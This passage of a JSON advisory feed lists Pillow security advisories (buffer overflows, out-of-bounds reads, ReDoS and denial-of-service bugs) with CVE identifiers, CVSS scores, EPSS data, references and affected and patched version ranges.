2-12-21T16:12:43.902Z","updated_at":"2026-08-11T14:11:58.647Z","epss_percentage":0.01975,"epss_percentile":0.785,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Y3FnLTNwMjkteHc3M80W2Q","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS12Y3FnLTNwMjkteHc3M80W2Q","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"6.2.2","vulnerable_version_range":"\u003e= 0, \u003c 6.2.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS12Y3FnLTNwMjkteHc3M80W2Q/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS03NTM0LW1tNDUtYzc0ds0WKQ","url":"https://github.com/advisories/GHSA-7534-mm45-c74v","title":"Buffer Overflow in Pillow","description":"Pillow through 8.2.0 and PIL (aka Python Imaging Library) through 1.1.7 allow an attacker to pass controlled parameters directly into a convert function to trigger a buffer overflow in Convert.c.","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2021-10-05T20:24:41.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-34552","https://lists.debian.org/debian-lts-announce/2021/07/msg00018.html","https://pillow.readthedocs.io/en/stable/releasenotes/8.3.0.html#buffer-overflow","https://pillow.readthedocs.io/en/stable/releasenotes/index.html","https://github.com/python-pillow/Pillow/pull/5567","https://security.gentoo.org/glsa/202211-10","https://github.com/python-pillow/Pillow/commit/31c473898c29d1b7cb6555ce67d9503a4906b83f","https://github.com/advisories/GHSA-7534-mm45-c74v","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-331.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/7V6LCG525ARIX6LX5QRYNAWVDD2MD2SV","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VUGBBT63VL7G4JNOEIPDJIOC34ZFBKNJ"],"source_kind":"github","identifiers":["GHSA-7534-mm45-c74v","CVE-2021-34552"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":46.02474094438634,"created_at":"2022-12-21T16:12:45.541Z","updated_at":"2026-07-19T12:11:03.996Z","epss_percentage":0.03162,"epss_percentile":0.86532,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTM0LW1tNDUtYzc0ds0WKQ","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03NTM0LW1tNDUtYzc0ds0WKQ","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.3.0","vulnerable_version_range":"\u003c 8.3.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03NTM0LW1tNDUtYzc0ds0WKQ/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05OHZ2LXB3NnItcTZxNM0VnA","url":"https://github.com/advisories/GHSA-98vv-pw6r-q6q4","title":"Uncontrolled Resource Consumption in pillow","description":"The package pillow 5.2.0 and before 8.3.2 are vulnerable to Regular Expression Denial of Service (ReDoS) via the getrgb function.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-09-07T23:08:10.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-23437","https://github.com/python-pillow/Pillow/commit/9e08eb8f78fdfd2f476e1b20b7cf38683754866b","https://pillow.readthedocs.io/en/stable/releasenotes/8.3.2.html","https://snyk.io/vuln/SNYK-PYTHON-PILLOW-1319443","https://security.gentoo.org/glsa/202211-10","https://lists.debian.org/debian-lts-announce/2024/03/msg00021.html","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/RNSG6VFXTAROGF7ACYLMAZNQV4EJ6I2C","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/VKRCL7KKAKOXCVD7M6WC5OKFGL4L3SJT","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RNSG6VFXTAROGF7ACYLMAZNQV4EJ6I2C","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VKRCL7KKAKOXCVD7M6WC5OKFGL4L3SJT","https://github.com/advisories/GHSA-98vv-pw6r-q6q4","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-317.yaml"],"source_kind":"github","identifiers":["GHSA-98vv-pw6r-q6q4","CVE-2021-23437"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:11:49.161Z","updated_at":"2026-07-19T12:08:41.628Z","epss_percentage":0.03154,"epss_percentile":0.86504,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OHZ2LXB3NnItcTZxNM0VnA","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05OHZ2LXB3NnItcTZxNM0VnA","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.3.2","vulnerable_version_range":"\u003e= 5.2.0, \u003c 8.3.2"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05OHZ2LXB3NnItcTZxNM0VnA/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE1aHEtZnA3Ni1xbXJj","url":"https://github.com/advisories/GHSA-q5hq-fp76-qmrc","title":"Uncontrolled Resource Consumption in Pillow","description":"An issue was discovered in Pillow before 8.2.0. For EPS data, the readline implementation used in EPSImageFile has to deal with any combination of \\r and \\n as line endings. It used an accidentally quadratic method of accumulating lines while looking for a line ending. A malicious EPS file could use this to perform a DoS of Pillow in the open phase, before an image was accepted for opening.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-06-08T18:49:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-28677","https://github.com/python-pillow/Pillow/pull/5377","https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-28677-fix-eps-dos-on-open","https://security.gentoo.org/glsa/202107-33","https://lists.debian.org/debian-lts-announce/2021/07/msg00018.html","https://github.com/python-pillow/Pillow/commit/5a5e6db0abf4e7a638fb1b3408c4e495a096cb92","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL","https://github.com/advisories/GHSA-q5hq-fp76-qmrc","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-93.yaml"],"source_kind":"github","identifiers":["GHSA-q5hq-fp76-qmrc","CVE-2021-28677"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:12:59.962Z","updated_at":"2026-08-14T00:13:07.602Z","epss_percentage":0.02293,"epss_percentile":0.81512,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE1aHEtZnA3Ni1xbXJj","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE1aHEtZnA3Ni1xbXJj","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXE1aHEtZnA3Ni1xbXJj/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJ3djctM3Y0NS1oZzI5","url":"https://github.com/advisories/GHSA-rwv7-3v45-hg29","title":"Pillow Out-of-bounds Read vulnerability","description":"An issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2ku_gray_i. This dates to Pillow 2.4.0.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-06-08T18:49:28.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25288","https://github.com/python-pillow/Pillow/pull/5377#issuecomment-833821470","https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-25287-cve-2021-25288-fix-oob-read-in-jpeg2kdecode","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/3bf5eddb89afdf690eceaa52bc4d3546ba9a5f87","https://github.com/advisories/GHSA-rwv7-3v45-hg29","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-138.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL"],"source_kind":"github","identifiers":["GHSA-rwv7-3v45-hg29","CVE-2021-25288"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.55029250651611,"created_at":"2022-12-21T16:12:34.300Z","updated_at":"2026-07-07T03:05:09.676Z","epss_percentage":0.02342,"epss_percentile":0.81509,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJ3djctM3Y0NS1oZzI5","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJ3djctM3Y0NS1oZzI5","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003e= 2.4.0, \u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXJ3djctM3Y0NS1oZzI5/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhqZngtOHA2Yy1nN2d4","url":"https://github.com/advisories/GHSA-hjfx-8p6c-g7gx","title":"Insufficient Verification of Data Authenticity in Pillow","description":"An issue was discovered in Pillow before 8.2.0. For BLP data, BlpImagePlugin did not properly check that reads (after jumping to file offsets) returned data. This could lead to a DoS where the decoder could be run a large number of times on empty data.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-06-08T18:49:20.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.8,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-28678","https://github.com/python-pillow/Pillow/pull/5377","https://github.com/python-pillow/Pillow/pull/5377/commits/496245aa4365d0827390bd0b6fbd11287453b3a1","https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-28678-fix-blp-dos","https://security.gentoo.org/glsa/202107-33","https://github.com/advisories/GHSA-hjfx-8p6c-g7gx","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-94.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL"],"source_kind":"github","identifiers":["GHSA-hjfx-8p6c-g7gx","CVE-2021-28678"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":33.65249875503517,"created_at":"2022-12-21T16:12:59.947Z","updated_at":"2026-08-21T12:10:07.672Z","epss_percentage":0.00732,"epss_percentile":0.5155,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhqZngtOHA2Yy1nN2d4","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhqZngtOHA2Yy1nN2d4","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003e= 5.1.0, \u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWhqZngtOHA2Yy1nN2d4/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc2cmotcnY3ai14d3A0","url":"https://github.com/advisories/GHSA-g6rj-rv7j-xwp4","title":"Pillow denial of service","description":"An issue was discovered in Pillow before 8.2.0. `PSDImagePlugin.PsdImageFile` lacked a sanity check on the number of input layers relative to the size of the data block. This could lead to a DoS on `Image.open` prior to `Image.load`.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-06-08T18:49:11.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.1,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-28675","https://github.com/python-pillow/Pillow/pull/5377/commits/22e9bee4ef225c0edbb9323f94c26cee0c623497","https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-28675-fix-dos-in-psdimageplugin","https://security.gentoo.org/glsa/202107-33","https://github.com/advisories/GHSA-g6rj-rv7j-xwp4","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-139.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL"],"source_kind":"github","identifiers":["GHSA-g6rj-rv7j-xwp4","CVE-2021-28675"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":35.13716781775731,"created_at":"2022-12-21T16:12:59.938Z","updated_at":"2026-08-17T16:18:33.500Z","epss_percentage":0.0096,"epss_percentile":0.5854,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc2cmotcnY3ai14d3A0","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc2cmotcnY3ai14d3A0","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWc2cmotcnY3ai14d3A0/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc3Z2MtdjJ4di1ydnZo","url":"https://github.com/advisories/GHSA-77gc-v2xv-rvvh","title":"Out-of-bounds Read in Pillow","description":"An issue was discovered in Pillow before 8.2.0. There is an out-of-bounds read in J2kDecode, in j2ku_graya_la.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-06-08T18:49:02.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25287","https://github.com/python-pillow/Pillow/pull/5377#issuecomment-833821470","https://github.com/python-pillow/Pillow/pull/5377/commits/3bf5eddb89afdf690eceaa52bc4d3546ba9a5f87","https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-25287-cve-2021-25288-fix-oob-read-in-jpeg2kdecode","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/3bf5eddb89afdf690eceaa52bc4d3546ba9a5f87","https://github.com/advisories/GHSA-77gc-v2xv-rvvh","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-137.yaml","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL"],"source_kind":"github","identifiers":["GHSA-77gc-v2xv-rvvh","CVE-2021-25287"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.55029250651611,"created_at":"2022-12-21T16:12:34.285Z","updated_at":"2026-08-11T14:11:55.846Z","epss_percentage":0.02876,"epss_percentile":0.85503,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc3Z2MtdjJ4di1ydnZo","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc3Z2MtdjJ4di1ydnZo","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003e= 2.4.0, \u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTc3Z2MtdjJ4di1ydnZo/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdyN20tNWgyNy0yOWhw","url":"https://github.com/advisories/GHSA-7r7m-5h27-29hp","title":"Potential infinite loop in Pillow","description":"An issue was discovered in Pillow before 8.2.0. For FLI data, FliDecode did not properly check that the block advance was non-zero, potentially leading to an infinite loop on load.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-06-08T18:48:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-28676","https://github.com/python-pillow/Pillow/pull/5377","https://pillow.readthedocs.io/en/stable/releasenotes/8.2.0.html#cve-2021-28676-fix-fli-dos","https://security.gentoo.org/glsa/202107-33","https://lists.debian.org/debian-lts-announce/2021/07/msg00018.html","https://github.com/python-pillow/Pillow/commit/bb6c11fb889e6c11b0ee122b828132ee763b5856","https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL","https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/MQHA5HAIBOYI3R6HDWCLAGFTIQP767FL","https://github.com/advisories/GHSA-7r7m-5h27-29hp","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-92.yaml"],"source_kind":"github","identifiers":["GHSA-7r7m-5h27-29hp","CVE-2021-28676"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:12:59.929Z","updated_at":"2026-07-14T18:08:33.150Z","epss_percentage":0.02453,"epss_percentile":0.825,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdyN20tNWgyNy0yOWhw","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdyN20tNWgyNy0yOWhw","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTdyN20tNWgyNy0yOWhw/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpncHYtNGg0Yy14aHcz","url":"https://github.com/advisories/GHSA-jgpv-4h4c-xhw3","title":"Uncontrolled Resource Consumption in pillow","description":"### Impact\n_Pillow before 8.1.1 allows attackers to cause a denial of service (memory consumption) because the reported size of a contained image is not properly checked for a BLP container, and thus an attempted memory allocation can be very large._\n\n### Patches\n_An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image._\n\n### Workarounds\n_An issue was discovered in Pillow before 6.2.0. When reading specially crafted invalid image files, the library can either allocate very large amounts of memory or take an extremely long period of time to process the image._\n\n### References\nhttps://nvd.nist.gov/vuln/detail/CVE-2021-27921\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [example link to repo](http://example.com)\n* Email us at [example email address](mailto:example@example.com)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-04-23T16:54:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","references":["https://github.com/calix2/pyVulApp/security/advisories/GHSA-jgpv-4h4c-xhw3","https://github.com/advisories/GHSA-jgpv-4h4c-xhw3"],"source_kind":"github","identifiers":["GHSA-jgpv-4h4c-xhw3"],"repository_url":"https://github.com/calix2/pyVulApp","blast_radius":0.0,"created_at":"2022-12-21T16:13:06.469Z","updated_at":"2026-07-19T12:11:35.133Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpncHYtNGg0Yy14aHcz","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpncHYtNGg0Yy14aHcz","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.1.2","vulnerable_version_range":"\u003c 8.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLWpncHYtNGg0Yy14aHcz/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW12ZzkteGZmci1wNzc0","url":"https://github.com/advisories/GHSA-mvg9-xffr-p774","title":"Out of bounds read in Pillow","description":"An issue was discovered in Pillow before 8.2.0. In `TiffDecode.c`, there is an out-of-bounds read in `TiffreadRGBATile` via invalid tile boundaries.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-03-29T16:35:57.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25291","https://github.com/python-pillow/Pillow/commit/cbdce6c5d054fccaf4af34b47f212355c64ace7a","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/8b8076bdcb3815be0ef0d279651d8d1342b8ea61","https://github.com/advisories/GHSA-mvg9-xffr-p774","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-37.yaml"],"source_kind":"github","identifiers":["GHSA-mvg9-xffr-p774","CVE-2021-25291"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:11:47.802Z","updated_at":"2026-08-15T20:16:52.499Z","epss_percentage":0.01425,"epss_percentile":0.70521,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW12ZzkteGZmci1wNzc0","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW12ZzkteGZmci1wNzc0","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.2.0","vulnerable_version_range":"\u003c 8.2.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLW12ZzkteGZmci1wNzc0/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTloeDItaGdxMi0yZzRm","url":"https://github.com/advisories/GHSA-9hx2-hgq2-2g4f","title":"Regular Expression Denial of Service (ReDoS) in Pillow","description":"An issue was discovered in Pillow before 8.1.1. The PDF parser allows a regular expression DoS (ReDoS) attack via a crafted PDF file because of a catastrophic backtracking regex.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2021-03-29T16:35:46.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25292","https://github.com/python-pillow/Pillow/commit/3bce145966374dd39ce58a6fc0083f8d1890719c","https://github.com/python-pillow/Pillow/commit/6207b44ab1ff4a91d8ddc7579619876d0bb191a4","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html","https://security.gentoo.org/glsa/202107-33","https://github.com/python-pillow/Pillow/commit/521dab94c7ab72b037bd9a83e9663401e0fd2cee","https://github.com/advisories/GHSA-9hx2-hgq2-2g4f","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-38.yaml"],"source_kind":"github","identifiers":["GHSA-9hx2-hgq2-2g4f","CVE-2021-25292"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":34.14738844260922,"created_at":"2022-12-21T16:13:10.147Z","updated_at":"2026-07-14T18:06:56.834Z","epss_percentage":0.01635,"epss_percentile":0.73511,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTloeDItaGdxMi0yZzRm","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTloeDItaGdxMi0yZzRm","packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"8.1.1","vulnerable_version_range":"\u003e= 5.1.0, \u003c 8.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTloeDItaGdxMi0yZzRm/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh4anEtOGZjZy1nNWh3","url":"https://github.com/advisories/GHSA-8xjq-8fcg-g5hw","title":"Out-of-bounds Write in Pillow","description":"An issue was discovered in Pillow before 8.1.1. In TiffDecode.c, there is a negative-offset memcpy with an invalid size.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2021-03-29T16:35:36.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://nvd.nist.gov/vuln/detail/CVE-2021-25290","https://github.com/python-pillow/Pillow/commit/86f02f7c70862a0954bfe8133736d352db978eaa","https://pillow.readthedocs.io/en/stable/releasenotes/8.1.1.html","https://security.gentoo.org/glsa/202107-33","https://lists.debian.org/debian-lts-announce/2021/07/msg00018.html","https://github.com/python-pillow/Pillow/commit/e25be1e33dc526bfd1094bc778a54d8e29bf66c9","https://github.com/advisories/GHSA-8xjq-8fcg-g5hw","https://github.com/pypa/advisory-database/tree/main/vulns/pillow/PYSEC-2021-36.yaml"],"source_kind":"github","identifiers":["GHSA-8xjq-8fcg-g5hw","CVE-2021-25290"],"repository_url":"https://github.com/python-pillow/Pillow","blast_radius":43.055402818942056,"created_at":"2022-12-21T16:13:10.138Z","updated_at":"2026-08-21T12:06:21.390Z","epss_percentage":0.02372,"epss_percentile":0.82521,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh4anEtOGZjZy1nNWh3","html_url":"https://advisories.ecosyste.ms/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh4anEtOGZjZy1nNWh3","packages":[{"ecosystem":"pypi","package_name":"pillow","versions":[{"first_patched_version":"8.1.1","vulnerable_version_range":"\u003e= 0, \u003c 8.1.1"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLTh4anEtOGZjZy1nNWh3/related_packages","related_advisories":[]},{"uuid":"MDE2OlNlY3VyaXR5QWR2aXNvcnlHSFNBLXA0M3ctZzNjNS1nNW1x","url":"https://github.com/advisories/GHSA-p43w-g3c5-g5mq","title":"Out of bounds read in Pillow","description":"An issue was discovered in Pillow before 8.1.1. There is an out-of-bounds read in 